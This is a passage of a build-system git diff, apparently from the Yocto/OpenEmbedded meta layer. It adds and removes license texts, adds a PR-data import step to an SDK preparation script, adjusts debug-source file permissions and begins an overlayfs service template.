+By downloading, copying, installing or otherwise using the Software, Licensee agrees to be bound by the terms and conditions of this License Agreement. For question regarding this License Agreement, please write to:
+ eGenix.com Software, Skills and Services GmbH
+ Pastor-Loeh-Str. 48
+ D-40764 Langenfeld
+ Germany
diff --git a/meta/files/common-licenses/etalab-2.0 b/meta/files/common-licenses/etalab-2.0
new file mode 100644
index 0000000000..2ba1978351
--- /dev/null
+++ b/meta/files/common-licenses/etalab-2.0
@@ -0,0 +1,179 @@
+LICENCE OUVERTE / OPEN LICENCE
+===================================================================
+
+- Version 2.0
+- Avril 2017
+
+
+« RÉUTILISATION » DE L’« INFORMATION » SOUS CETTE LICENCE
+-------------------------------------------------------------------
+
+Le « Concédant » concède au « Réutilisateur » un droit non exclusif et gratuit
+de libre « Réutilisation » de l’« Information » objet de la présente licence,
+à des fins commerciales ou non, dans le monde entier et pour une durée
+illimitée, dans les conditions exprimées ci-dessous.
+
+Le « Réutilisateur » est libre de réutiliser l’« Information » :
+
+- de la reproduire, la copier,
+- de l’adapter, la modifier, l’extraire et la transformer, pour créer des
+« Informations dérivées », des produits ou des services,
+- de la communiquer, la diffuser, la redistribuer, la publier et la transmettre,
+- de l’exploiter à titre commercial, par exemple en la combinant avec d’autres
+informations, ou en l’incluant dans son propre produit ou application.
+
+Sous réserve de :
+
+- mentionner la paternité de l’« Information » : sa source (au moins le nom du
+« Concédant ») et la date de dernière mise à jour de l’« Information »
+réutilisée.
+
+Le « Réutilisateur » peut notamment s’acquitter de cette condition en renvoyant,
+par un lien hypertexte, vers la source de « l’Information » et assurant une
+mention effective de sa paternité.
+
+Par exemple :
+
+« Ministère de xxx - Données originales téléchargées sur
+http://www.data.gouv.fr/fr/datasets/xxx/, mise à jour du 14 février 2017 ».
+
+Cette mention de paternité ne confère aucun caractère officiel à la
+« Réutilisation » de l’« Information », et ne doit pas suggérer une quelconque
+reconnaissance ou caution par le « Concédant », ou par toute autre entité
+publique, du « Réutilisateur » ou de sa « Réutilisation ».
+
+
+« DONNÉES À CARACTÈRE PERSONNEL »
+-------------------------------------------------------------------
+
+L’« Information » mise à disposition peut contenir des « Données à caractère
+personnel » pouvant faire l’objet d’une « Réutilisation ». Si tel est le cas,
+le « Concédant » informe le « Réutilisateur » de leur présence.
+
+L’« Information » peut être librement réutilisée, dans le cadre des droits
+accordés par la présente licence, à condition de respecter le cadre légal
+relatif à la protection des données à caractère personnel.
+
+
+« DROITS DE PROPRIÉTÉ INTELLECTUELLE »
+-------------------------------------------------------------------
+
+Il est garanti au « Réutilisateur » que les éventuels « Droits de propriété
+intellectuelle » détenus par des tiers ou par le « Concédant » sur
+l’« Information » ne font pas obstacle aux droits accordés par la présente
+licence.
+
+Lorsque le « Concédant » détient des « Droits de propriété intellectuelle »
+cessibles sur l’« Information », il les cède au « Réutilisateur » de façon non
+exclusive, à titre gracieux, pour le monde entier, pour toute la durée des
+« Droits de propriété intellectuelle », et le « Réutilisateur » peut faire tout
+usage de l’« Information » conformément aux libertés et aux conditions définies
+par la présente licence.
+
+
+RESPONSABILITÉ
+-------------------------------------------------------------------
+
+L’« Information » est mise à disposition telle que produite ou reçue par le
+« Concédant », sans autre garantie expresse ou tacite que celles prévues par la
+présente licence. L’absence de défauts ou d’erreurs éventuellement contenues
+dans l’« Information », comme la fourniture continue de l’« Information » n’est
+pas garantie par le « Concédant ». Il ne peut être tenu pour responsable de
+toute perte, préjudice ou dommage de quelque sorte causé à des tiers du fait de
+la « Réutilisation ».
+
+Le « Réutilisateur » est seul responsable de la « Réutilisation » de
+l’« Information ».
+
+La « Réutilisation » ne doit pas induire en erreur des tiers quant au contenu
+de l’« Information », sa source et sa date de mise à jour.
+
+
+DROIT APPLICABLE
+-------------------------------------------------------------------
+
+La présente licence est régie par le droit français.
+
+
+COMPATIBILITÉ DE LA PRÉSENTE LICENCE
+-------------------------------------------------------------------
+
+La présente licence a été conçue pour être compatible avec toute licence libre
+qui exige au moins la mention de paternité et notamment avec la version
+antérieure de la présente licence ainsi qu’avec les licences :
+
+- « Open Government Licence » (OGL) du Royaume-Uni,
+- « Creative Commons Attribution » (CC-BY) de Creative Commons et
+- « Open Data Commons Attribution » (ODC-BY) de l’Open Knowledge Foundation.
+
+
+DÉFINITIONS
+-------------------------------------------------------------------
+
+Sont considérés, au sens de la présente licence comme :
+
+Le « Concédant » : toute personne concédant un droit de « Réutilisation » sur
+l’« Information » dans les libertés et les conditions prévues par la présente
+licence
+
+L’« Information » :
+
+- toute information publique figurant dans des documents communiqués ou publiés
+par une administration mentionnée au premier alinéa de l’article L.300-2 du
+CRPA;
+- toute information mise à disposition par toute personne selon les termes et
+conditions de la présente licence.
+
+La « Réutilisation » : l’utilisation de l’« Information » à d’autres fins que
+celles pour lesquelles elle a été produite ou reçue.
+
+Le « Réutilisateur »: toute personne qui réutilise les « Informations »
+conformément aux conditions de la présente licence.
+
+Des « Données à caractère personnel » : toute information se rapportant à une
+personne physique identifiée ou identifiable, pouvant être identifiée
+directement ou indirectement. Leur « Réutilisation » est subordonnée au respect
+du cadre juridique en vigueur.
+
+Une « Information dérivée » : toute nouvelle donnée ou information créées
+directement à partir de l’« Information » ou à partir d’une combinaison de
+l’« Information » et d’autres données ou informations non soumises à cette
+licence.
+
+Les « Droits de propriété intellectuelle » : tous droits identifiés comme tels
+par le Code de la propriété intellectuelle (notamment le droit d’auteur, droits
+voisins au droit d’auteur, droit sui generis des producteurs de bases de
+données…).
+
+
+À PROPOS DE CETTE LICENCE
+-------------------------------------------------------------------
+
+La présente licence a vocation à être utilisée par les administrations pour la
+réutilisation de leurs informations publiques. Elle peut également être
+utilisée par toute personne souhaitant mettre à disposition de
+l’« Information » dans les conditions définies par la présente licence.
+
+La France est dotée d’un cadre juridique global visant à une diffusion
+spontanée par les administrations de leurs informations publiques afin d’en
+permettre la plus large réutilisation.
+
+Le droit de la « Réutilisation » de l’« Information » des administrations est
+régi par le code des relations entre le public et l’administration (CRPA).
+
+Cette licence facilite la réutilisation libre et gratuite des informations
+publiques et figure parmi les licences qui peuvent être utilisées par
+l’administration en vertu du décret pris en application de l’article L.323-2
+du CRPA.
+
+Etalab est la mission chargée, sous l’autorité du Premier ministre, d’ouvrir le
+plus grand nombre de données publiques des administrations de l’Etat et de ses
+établissements publics. Elle a réalisé la Licence Ouverte pour faciliter la
+réutilisation libre et gratuite de ces informations publiques, telles que
+définies par l’article L321-1 du CRPA.
+
+Cette licence est la version 2.0 de la Licence Ouverte.
+
+Etalab se réserve la faculté de proposer de nouvelles versions de la Licence
+Ouverte. Cependant, les « Réutilisateurs » pourront continuer à réutiliser les
+informations qu’ils ont obtenues sous cette licence s’ils le souhaitent.
diff --git a/meta/files/common-licenses/gnuplot b/meta/files/common-licenses/gnuplot
new file mode 100644
index 0000000000..10bfbd4241
--- /dev/null
+++ b/meta/files/common-licenses/gnuplot
@@ -0,0 +1,14 @@
+Copyright 1986 - 1993, 1998, 2004 Thomas Williams, Colin Kelley
+
+Permission to use, copy, and distribute this software and its documentation for any purpose with or without fee is hereby granted, provided that the above copyright notice appear in all copies and that both that copyright notice and this permission notice appear in supporting documentation.
+
+Permission to modify the software is granted, but not the right to distribute the complete modified source code. Modifications are to be distributed as patches to the released version. Permission to distribute binaries produced by compiling modified sources is granted, provided you
+
+ 1. distribute the corresponding source modifications from the released version in the form of a patch file along with the binaries,
+ 2. add special version identification to distinguish your version in addition to the base release version number,
+ 3. provide your name and address as the primary contact for the support of your modified version, and
+ 4. retain our contact information in regard to use of the base software.
+
+Permission to distribute the released version of the source code along with corresponding source modifications in the form of a patch file is granted with same provisions 2 through 4 for binary distributions.
+
+This software is provided "as is" without express or implied warranty to the extent permitted by applicable law.
diff --git a/meta/files/common-licenses/iMatix b/meta/files/common-licenses/iMatix
new file mode 100644
index 0000000000..7689d97b3b
--- /dev/null
+++ b/meta/files/common-licenses/iMatix
@@ -0,0 +1,39 @@
+The SFL License Agreement
+
+This license agreement covers your use of the iMatix STANDARD FUNCTION LIBRARY (SFL), its source code, documentation, and executable files, hereinafter referred to as "the Product".
+
+The Product is Copyright (c) 1991-2000 iMatix Corporation. You may use it and distribute it according to this following License Agreement. If you do not agree with these terms, please remove the Product from your system. By incorporating the Product in your work or distributing the Product to others you implicitly agree to these license terms.
+
+Statement Of Copyright
+
+The Product is, and remains, Copyright © 1991-2000 iMatix Corporation, with exception of specific copyrights as noted in the individual source files.
+
+Conditions Of Use
+
+You do not need to provide the source code for the Product as part of your product. However, you must do one of these things to comply with the Product License Agreement:
+
+ 1. Provide the source code for Product modules that you use, or
+ 2. Make your product freely available according to a license similar to the GNU General Public License, or the Perl Artistic License, or
+ 3. Add this phrase to the documentation for your product: "This product uses parts of the iMatix SFL, Copyright © 1991-2000 iMatix Corporation <http://www.imatix.com>".
+
+Rights Of Usage
+
+You may freely and at no cost use the Product in any project, commercial, academic, military, or private, so long as you respect the License Agreement. The License Agreement does not affect any software except the Product. In particular, any application that uses the Product does not itself fall under the License Agreement.
+
+You may modify any part of the Product, including sources and documentation, except this License Agreement, which you may not modify.
+
+You must clearly indicate any modifications at the start of each source file. The user of any modified Product code must know that the source file is not original.
+
+At your discretion, you may rewrite or reuse any part of the Product so that your derived code is not obviously part of the Product. This derived code does not fall under the Product License Agreement directly, but you must include a credit at the start of each source file indicating the original authorship and source of the code, and a statement of copyright as follows:"Parts copyright (c) 1991-2000 iMatix Corporation."
+
+Rights Of Distribution
+
+You may freely distribute the Product, or any subset of the Product, by any means. The License, in the form of the file called "LICENSE.TXT" must accompany any such distribution.
+
+You may charge a fee for distributing the Product, for providing a warranty on the Product, for making modifications to the Product, or for any other service provided in relation to the Product. You are not required to ask our permission for any of these activities.
+
+At no time will iMatix associate itself with any distribution of the Product except that supplied from the Internet site http://www.imatix.com.
+
+Disclaimer Of Warranty
+
+The Product is provided as free software, in the hope that it will be useful. It is provided "as-is", without warranty of any kind, either expressed or implied, including, but not limited to, the implied warranties of merchantability and fitness for a particular purpose. The entire risk as to the quality and performance of the Product is with you. Should the Product prove defective, the full cost of repair, servicing, or correction lies with you.
diff --git a/meta/files/common-licenses/libpng-2.0 b/meta/files/common-licenses/libpng-2.0
new file mode 100644
index 0000000000..1cc8b0deb3
--- /dev/null
+++ b/meta/files/common-licenses/libpng-2.0
@@ -0,0 +1,33 @@
+PNG Reference Library License version 2
+---------------------------------------
+
+ * Copyright (c) 1995-2018 The PNG Reference Library Authors.
+ * Copyright (c) 2018 Cosmin Truta.
+ * Copyright (c) 2000-2002, 2004, 2006-2018 Glenn Randers-Pehrson.
+ * Copyright (c) 1996-1997 Andreas Dilger.
+ * Copyright (c) 1995-1996 Guy Eric Schalnat, Group 42, Inc.
+
+The software is supplied "as is", without warranty of any kind,
+express or implied, including, without limitation, the warranties
+of merchantability, fitness for a particular purpose, title, and
+non-infringement. In no even shall the Copyright owners, or
+anyone distributing the software, be liable for any damages or
+other liability, whether in contract, tort or otherwise, arising
+from, out of, or in connection with the software, or the use or
+other dealings in the software, even if advised of the possibility
+of such damage.
+
+Permission is hereby granted to use, copy, modify, and distribute
+this software, or portions hereof, for any purpose, without fee,
+subject to the following restrictions:
+
+ 1. The origin of this software must not be misrepresented; you
+ must not claim that you wrote the original software. If you
+ use this software in a product, an acknowledgment in the product
+ documentation would be appreciated, but is not required.
+
+ 2. Altered source versions must be plainly marked as such, and must
+ not be misrepresented as being the original software.
+
+ 3. This Copyright notice may not be removed or altered from any
+ source or altered source distribution.
diff --git a/meta/files/common-licenses/libselinux-1.0 b/meta/files/common-licenses/libselinux-1.0
new file mode 100644
index 0000000000..d386268911
--- /dev/null
+++ b/meta/files/common-licenses/libselinux-1.0
@@ -0,0 +1,21 @@
+This library (libselinux) is public domain software, i.e. not copyrighted.
+
+Warranty Exclusion
+------------------
+You agree that this software is a
+non-commercially developed program that may contain "bugs" (as that
+term is used in the industry) and that it may not function as intended.
+The software is licensed "as is". NSA makes no, and hereby expressly
+disclaims all, warranties, express, implied, statutory, or otherwise
+with respect to the software, including noninfringement and the implied
+warranties of merchantability and fitness for a particular purpose.
+
+Limitation of Liability
+-----------------------
+In no event will NSA be liable for any damages, including loss of data,
+lost profits, cost of cover, or other special, incidental,
+consequential, direct or indirect damages arising from the software or
+the use thereof, however caused and on any theory of liability. This
+limitation will apply even if NSA has been advised of the possibility
+of such damage. You acknowledge that this is a reasonable allocation of
+risk.
diff --git a/meta/files/common-licenses/libtiff b/meta/files/common-licenses/libtiff
new file mode 100644
index 0000000000..b11996b671
--- /dev/null
+++ b/meta/files/common-licenses/libtiff
@@ -0,0 +1,8 @@
+Copyright (c) 1988-1997 Sam Leffler
+Copyright (c) 1991-1997 Silicon Graphics, Inc.
+
+Permission to use, copy, modify, distribute, and sell this software and its documentation for any purpose is hereby granted without fee, provided that (i) the above copyright notices and this permission notice appear in all copies of the software and related documentation, and (ii) the names of Sam Leffler and Silicon Graphics may not be used in any advertising or publicity relating to the software without the specific, prior written permission of Sam Leffler and Silicon Graphics.
+
+THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.
+
+IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND, OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
diff --git a/meta/files/common-licenses/mpich2 b/meta/files/common-licenses/mpich2
new file mode 100644
index 0000000000..5c32b0ec1d
--- /dev/null
+++ b/meta/files/common-licenses/mpich2
@@ -0,0 +1,18 @@
+COPYRIGHT
+
+The following is a notice of limited availability of the code, and disclaimer which must be included in the prologue of the code and in all source listings of the code.
+
+Copyright Notice
++ 2002 University of Chicago
+
+Permission is hereby granted to use, reproduce, prepare derivative works, and to redistribute to others. This software was authored by:
+
+Argonne National Laboratory Group W. Gropp: (630) 252-4318; FAX: (630) 252-5986; e-mail: gropp@mcs.anl.gov E. Lusk: (630) 252-7852; FAX: (630) 252-5986; e-mail: lusk@mcs.anl.gov Mathematics and Computer Science Division Argonne National Laboratory, Argonne IL 60439
+
+GOVERNMENT LICENSE
+
+Portions of this material resulted from work developed under a U.S. Government Contract and are subject to the following license: the Government is granted for itself and others acting on its behalf a paid-up, nonexclusive, irrevocable worldwide license in this computer software to reproduce, prepare derivative works, and perform publicly and display publicly.
+
+DISCLAIMER
+
+This computer code material was prepared, in part, as an account of work sponsored by an agency of the United States Government. Neither the United States, nor the University of Chicago, nor any of their employees, makes any warranty express or implied, or assumes any legal liability or responsibility for the accuracy, completeness, or usefulness of any information, apparatus, product, or process disclosed, or represents that its use would not infringe privately owned rights.
diff --git a/meta/files/common-licenses/psfrag b/meta/files/common-licenses/psfrag
new file mode 100644
index 0000000000..c5c3a77737
--- /dev/null
+++ b/meta/files/common-licenses/psfrag
@@ -0,0 +1,5 @@
+psfrag.dtx
+Copyright (C) 1996 Craig Barratt, Michael C. Grant, and David Carlisle.
+All rights are reserved.
+
+This system is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. Don't come complaining to us if you modify this file and it doesn't work! If this file is modified by anyone but the authors, those changes and their authors must be explicitly stated HERE.
diff --git a/meta/files/common-licenses/psutils b/meta/files/common-licenses/psutils
new file mode 100644
index 0000000000..a420741853
--- /dev/null
+++ b/meta/files/common-licenses/psutils
@@ -0,0 +1,29 @@
+PS Utilities Package
+
+The constituent files of this package listed below are copyright (C) 1991-1995 Angus J. C. Duggan.
+
+LICENSE Makefile.msc Makefile.nt Makefile.os2
+Makefile.unix README config.h descrip.mms
+epsffit.c epsffit.man extractres.man extractres.pl
+fixdlsrps.man fixdlsrps.pl fixfmps.man fixfmps.pl
+fixmacps.man fixmacps.pl fixpsditps.man fixpsditps.pl
+fixpspps.man fixpspps.pl fixscribeps.man fixscribeps.pl
+fixtpps.man fixtpps.pl fixwfwps.man fixwfwps.pl
+fixwpps.man fixwpps.pl fixwwps.man fixwwps.pl
+getafm getafm.man includeres.man includeres.pl
+maketext patchlev.h psbook.c psbook.man
+pserror.c pserror.h psmerge.man psmerge.pl
+psnup.c psnup.man psresize.c psresize.man
+psselect.c psselect.man psspec.c psspec.h
+pstops.c pstops.man psutil.c psutil.h
+showchar
+
+They may be copied and used for any purpose (including distribution as part of a for-profit product), provided:
+
+1) The original attribution of the programs is clearly displayed in the product and/or documentation, even if the programs are modified and/or renamed as part of the product.
+
+2) The original source code of the programs is provided free of charge (except for reasonable distribution costs). For a definition of reasonable distribution costs, see the Gnu General Public License or Larry Wall's Artistic License (provided with the Perl 4 kit). The GPL and Artistic License in NO WAY affect this license; they are merely used as examples of the spirit in which it is intended.
+
+3) These programs are provided "as-is". No warranty or guarantee of their fitness for any particular task is provided. Use of these programs is completely at your own risk.
+
+Basically, I don't mind how you use the programs so long as you acknowledge the author, and give people the originals if they want them.
diff --git a/meta/files/common-licenses/tcl b/meta/files/common-licenses/tcl
deleted file mode 100644
index d8049cd9e7..0000000000
--- a/meta/files/common-licenses/tcl
+++ /dev/null
@@ -1,40 +0,0 @@
-This software is copyrighted by the Regents of the University of
-California, Sun Microsystems, Inc., Scriptics Corporation, ActiveState
-Corporation and other parties. The following terms apply to all files
-associated with the software unless explicitly disclaimed in
-individual files.
-
-The authors hereby grant permission to use, copy, modify, distribute,
-and license this software and its documentation for any purpose, provided
-that existing copyright notices are retained in all copies and that this
-notice is included verbatim in any distributions. No written agreement,
-license, or royalty fee is required for any of the authorized uses.
-Modifications to this software may be copyrighted by their authors
-and need not follow the licensing terms described here, provided that
-the new terms are clearly indicated on the first page of each file where
-they apply.
-
-IN NO EVENT SHALL THE AUTHORS OR DISTRIBUTORS BE LIABLE TO ANY PARTY
-FOR DIRECT, INDIRECT, SPECIAL, INCIDENTAL, OR CONSEQUENTIAL DAMAGES
-ARISING OUT OF THE USE OF THIS SOFTWARE, ITS DOCUMENTATION, OR ANY
-DERIVATIVES THEREOF, EVEN IF THE AUTHORS HAVE BEEN ADVISED OF THE
-POSSIBILITY OF SUCH DAMAGE.
-
-THE AUTHORS AND DISTRIBUTORS SPECIFICALLY DISCLAIM ANY WARRANTIES,
-INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY,
-FITNESS FOR A PARTICULAR PURPOSE, AND NON-INFRINGEMENT. THIS SOFTWARE
-IS PROVIDED ON AN "AS IS" BASIS, AND THE AUTHORS AND DISTRIBUTORS HAVE
-NO OBLIGATION TO PROVIDE MAINTENANCE, SUPPORT, UPDATES, ENHANCEMENTS, OR
-MODIFICATIONS.
-
-GOVERNMENT USE: If you are acquiring this software on behalf of the
-U.S. government, the Government shall have only "Restricted Rights"
-in the software and related documentation as defined in the Federal
-Acquisition Regulations (FARs) in Clause 52.227.19 (c) (2). If you
-are acquiring the software on behalf of the Department of Defense, the
-software shall be classified as "Commercial Computer Software" and the
-Government shall have only "Restricted Rights" as defined in Clause
-252.227-7014 (b) (3) of DFARs. Notwithstanding the foregoing, the
-authors grant the U.S. Government and others acting in its behalf
-permission to use and distribute the software in accordance with the
-terms specified in this license.
diff --git a/meta/files/common-licenses/vim b/meta/files/common-licenses/vim
deleted file mode 100644
index 4aa818eb24..0000000000
--- a/meta/files/common-licenses/vim
+++ /dev/null
@@ -1,81 +0,0 @@
-VIM LICENSE
-
-I) There are no restrictions on distributing unmodified copies of Vim except
- that they must include this license text. You can also distribute
- unmodified parts of Vim, likewise unrestricted except that they must
- include this license text. You are also allowed to include executables
- that you made from the unmodified Vim sources, plus your own usage
- examples and Vim scripts.
-
-II) It is allowed to distribute a modified (or extended) version of Vim,
- including executables and/or source code, when the following four
- conditions are met:
- 1) This license text must be included unmodified.
- 2) The modified Vim must be distributed in one of the following five ways:
- a) If you make changes to Vim yourself, you must clearly describe in
- the distribution how to contact you. When the maintainer asks you
- (in any way) for a copy of the modified Vim you distributed, you
- must make your changes, including source code, available to the
- maintainer without fee. The maintainer reserves the right to
- include your changes in the official version of Vim. What the
- maintainer will do with your changes and under what license they
- will be distributed is negotiable. If there has been no negotiation
- then this license, or a later version, also applies to your changes.
- The current maintainer is Bram Moolenaar <Bram@vim.org>. If this
- changes it will be announced in appropriate places (most likely
- vim.sf.net, www.vim.org and/or comp.editors). When it is completely
- impossible to contact the maintainer, the obligation to send him
- your changes ceases. Once the maintainer has confirmed that he has
- received your changes they will not have to be sent again.
- b) If you have received a modified Vim that was distributed as
- mentioned under a) you are allowed to further distribute it
- unmodified, as mentioned at I). If you make additional changes the
- text under a) applies to those changes.
- c) Provide all the changes, including source code, with every copy of
- the modified Vim you distribute. This may be done in the form of a
- context diff. You can choose what license to use for new code you
- add. The changes and their license must not restrict others from
- making their own changes to the official version of Vim.
- d) When you have a modified Vim which includes changes as mentioned
- under c), you can distribute it without the source code for the
- changes if the following three conditions are met:
- - The license that applies to the changes permits you to distribute
- the changes to the Vim maintainer without fee or restriction, and
- permits the Vim maintainer to include the changes in the official
- version of Vim without fee or restriction.
- - You keep the changes for at least three years after last
- distributing the corresponding modified Vim. When the maintainer
- or someone who you distributed the modified Vim to asks you (in
- any way) for the changes within this period, you must make them
- available to him.
- - You clearly describe in the distribution how to contact you. This
- contact information must remain valid for at least three years
- after last distributing the corresponding modified Vim, or as long
- as possible.
- e) When the GNU General Public License (GPL) applies to the changes,
- you can distribute the modified Vim under the GNU GPL version 2 or
- any later version.
- 3) A message must be added, at least in the output of the ":version"
- command and in the intro screen, such that the user of the modified Vim
- is able to see that it was modified. When distributing as mentioned
- under 2)e) adding the message is only required for as far as this does
- not conflict with the license used for the changes.
- 4) The contact information as required under 2)a) and 2)d) must not be
- removed or changed, except that the person himself can make
- corrections.
-
-III) If you distribute a modified version of Vim, you are encouraged to use
- the Vim license for your changes and make them available to the
- maintainer, including the source code. The preferred way to do this is
- by e-mail or by uploading the files to a server and e-mailing the URL.
- If the number of changes is small (e.g., a modified Makefile) e-mailing a
- context diff will do. The e-mail address to be used is
- <maintainer@vim.org>
-
-IV) It is not allowed to remove this license from the distribution of the Vim
- sources, parts of it or from a modified version. You may use this
- license for previous Vim releases instead of the license that they came
- with, at your option.
-
-===
-Read more about this license at http://vimdoc.sourceforge.net/htmldoc/uganda.html#license
diff --git a/meta/files/common-licenses/xinetd b/meta/files/common-licenses/xinetd
new file mode 100644
index 0000000000..684e13ba35
--- /dev/null
+++ b/meta/files/common-licenses/xinetd
@@ -0,0 +1,25 @@
+ORIGINAL LICENSE: This software is
+
+(c) Copyright 1992 by Panagiotis Tsirigotis
+
+The author (Panagiotis Tsirigotis) grants permission to use, copy, and distribute this software and its documentation for any purpose and without fee, provided that the above copyright notice extant in files in this distribution is not removed from files included in any redistribution and that this copyright notice is also included in any redistribution.
+
+Modifications to this software may be distributed, either by distributing the modified software or by distributing patches to the original software, under the following additional terms:
+
+1. The version number will be modified as follows:
+ a. The first 3 components of the version number (i.e <number>.<number>.<number>) will remain unchanged.
+ b. A new component will be appended to the version number to indicate the modification level. The form of this component is up to the author of the modifications.
+
+2. The author of the modifications will include his/her name by appending it along with the new version number to this file and will be responsible for any wrong behavior of the modified software.
+
+The author makes no representations about the suitability of this software for any purpose. It is provided "as is" without any express or implied warranty.
+
+Modifications: Version: 2.1.8.7-current Copyright 1998-2001 by Rob Braun
+
+Sensor Addition Version: 2.1.8.9pre14a Copyright 2001 by Steve Grubb
+
+This is an exerpt from an email I recieved from the original author, allowing xinetd as maintained by me (Rob Braun), to use the higher version numbers:
+
+I appreciate your maintaining the version string guidelines as specified in the copyright. But I did not mean them to last as long as they did.
+
+So, if you want, you may use any 2.N.* (N >= 3) version string for future xinetd versions that you release. Note that I am excluding the 2.2.* line; using that would only create confusion. Naming the next release 2.3.0 would put to rest the confusion about 2.2.1 and 2.1.8.*.
diff --git a/meta/files/common-licenses/xpp b/meta/files/common-licenses/xpp
new file mode 100644
index 0000000000..c36660a729
--- /dev/null
+++ b/meta/files/common-licenses/xpp
@@ -0,0 +1,21 @@
+LICENSE FOR THE Extreme! Lab PullParser
+
+Copyright (c) 2002 The Trustees of Indiana University. All rights reserved.
+
+Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
+
+1) All redistributions of source code must retain the above copyright notice, the list of authors in the original source code, this list of conditions and the disclaimer listed in this license;
+
+2) All redistributions in binary form must reproduce the above copyright notice, this list of conditions and the disclaimer listed in this license in the documentation and/or other materials provided with the distribution;
+
+3) Any documentation included with all redistributions must include the following acknowledgement:
+
+ "This product includes software developed by the Indiana University Extreme! Lab. For further information please visit http://www.extreme.indiana.edu/"
+
+Alternatively, this acknowledgment may appear in the software itself, and wherever such third-party acknowledgments normally appear.
+
+4) The name "Indiana Univeristy" and "Indiana Univeristy Extreme! Lab" shall not be used to endorse or promote products derived from this software without prior written permission from Indiana University. For written permission, please contact http://www.extreme.indiana.edu/.
+
+5) Products derived from this software may not use "Indiana Univeristy" name nor may "Indiana Univeristy" appear in their name, without prior written permission of the Indiana University. Indiana University provides no reassurances that the source code provided does not infringe the patent or any other intellectual property rights of any other entity. Indiana University disclaims any liability to any recipient for claims brought by any other entity based on infringement of intellectual property rights or otherwise.
+
+LICENSEE UNDERSTANDS THAT SOFTWARE IS PROVIDED "AS IS" FOR WHICH NO WARRANTIES AS TO CAPABILITIES OR ACCURACY ARE MADE. INDIANA UNIVERSITY GIVES NO WARRANTIES AND MAKES NO REPRESENTATION THAT SOFTWARE IS FREE OF INFRINGEMENT OF THIRD PARTY PATENT, COPYRIGHT, OR OTHER PROPRIETARY RIGHTS. INDIANA UNIVERSITY MAKES NO WARRANTIES THAT SOFTWARE IS FREE FROM "BUGS", "VIRUSES", "TROJAN HORSES", "TRAP DOORS", "WORMS", OR OTHER HARMFUL CODE. LICENSEE ASSUMES THE ENTIRE RISK AS TO THE PERFORMANCE OF SOFTWARE AND/OR ASSOCIATED MATERIALS, AND TO THE PERFORMANCE AND VALIDITY OF INFORMATION GENERATED USING SOFTWARE.
diff --git a/meta/files/common-licenses/zlib-acknowledgement b/meta/files/common-licenses/zlib-acknowledgement
new file mode 100644
index 0000000000..cf95431f24
--- /dev/null
+++ b/meta/files/common-licenses/zlib-acknowledgement
@@ -0,0 +1,15 @@
+Copyright (c) 2002-2007 Charlie Poole
+Copyright (c) 2002-2004 James W. Newkirk, Michael C. Two, Alexei A. Vorontsov
+Copyright (c) 2000-2002 Philip A. Craig
+
+This software is provided 'as-is', without any express or implied warranty. In no event will the authors be held liable for any damages arising from the use of this software.
+
+Permission is granted to anyone to use this software for any purpose, including commercial applications, and to alter it and redistribute it freely, subject to the following restrictions:
+
+1. The origin of this software must not be misrepresented; you must not claim that you wrote the original software. If you use this software in a product, an acknowledgment (see the following) in the product documentation is required.
+
+ Portions Copyright (c) 2002-2007 Charlie Poole or Copyright (c) 2002-2004 James W. Newkirk, Michael C. Two, Alexei A. Vorontsov or Copyright (c) 2000-2002 Philip A. Craig
+
+2. Altered source versions must be plainly marked as such, and must not be misrepresented as being the original software.
+
+3. This notice may not be removed or altered from any source distribution.
diff --git a/meta/files/ext-sdk-prepare.py b/meta/files/ext-sdk-prepare.py
index 163d5e9912..d191e5e19c 100644
--- a/meta/files/ext-sdk-prepare.py
+++ b/meta/files/ext-sdk-prepare.py
@@ -44,6 +44,23 @@ def main():
sdk_targets = []
else:
sdk_targets = ' '.join(sys.argv[2:]).split()
+
+ prserv = os.path.join(os.path.dirname(os.path.realpath(__file__)), 'conf', 'prserv.inc')
+ if os.path.isfile(prserv):
+ with open(logfile, 'a') as logf:
+ logf.write('Importing PR data...\n')
+
+ ret = run_command_interruptible('bitbake-prserv-tool import %s' % prserv)
+
+ lastlog = get_last_consolelog()
+ if lastlog:
+ with open(lastlog, 'r') as f:
+ for line in f:
+ logf.write(line)
+ if ret:
+ print('ERROR: PR data import failed: error log written to %s' % logfile)
+ return ret
+
if not sdk_targets:
# Just do a parse so the cache is primed
ret = run_command_interruptible('bitbake -p --quiet')
diff --git a/meta/files/fs-perms-persistent-log.txt b/meta/files/fs-perms-persistent-log.txt
index 3a7cf3ab94..518c1be3c9 100644
--- a/meta/files/fs-perms-persistent-log.txt
+++ b/meta/files/fs-perms-persistent-log.txt
@@ -41,7 +41,7 @@ ${includedir} 0755 root root true 0644 root root
${oldincludedir} 0755 root root true 0644 root root
# Cleanup debug src
-/usr/src/debug 0755 root root true - root root
+/usr/src/debug 0755 root root true 0644 root root
# Items from base-files
# Links
diff --git a/meta/files/fs-perms.txt b/meta/files/fs-perms.txt
index c8c3ac5dbe..daa4aed840 100644
--- a/meta/files/fs-perms.txt
+++ b/meta/files/fs-perms.txt
@@ -41,7 +41,7 @@ ${includedir} 0755 root root true 0644 root root
${oldincludedir} 0755 root root true 0644 root root
# Cleanup debug src
-/usr/src/debug 0755 root root true - root root
+/usr/src/debug 0755 root root true 0644 root root
# Items from base-files
# Links
diff --git a/meta/files/overlayfs-all-overlays.service.in b/meta/files/overlayfs-all-overlays.service.in
new file mode 100644
index 0000000000..74ee4e90ae
--- /dev/null
+++ b/meta/files/overlayfs-all-overlays.service.in
@@ -0,0 +1,12 @@
+[Unit]
+Description=Groups all overlays required by {PN} in one unit
+After={ALL_OVERLAYFS_UNITS}
+Requires={ALL_OVERLAYFS_UNITS}
+
+[Service]
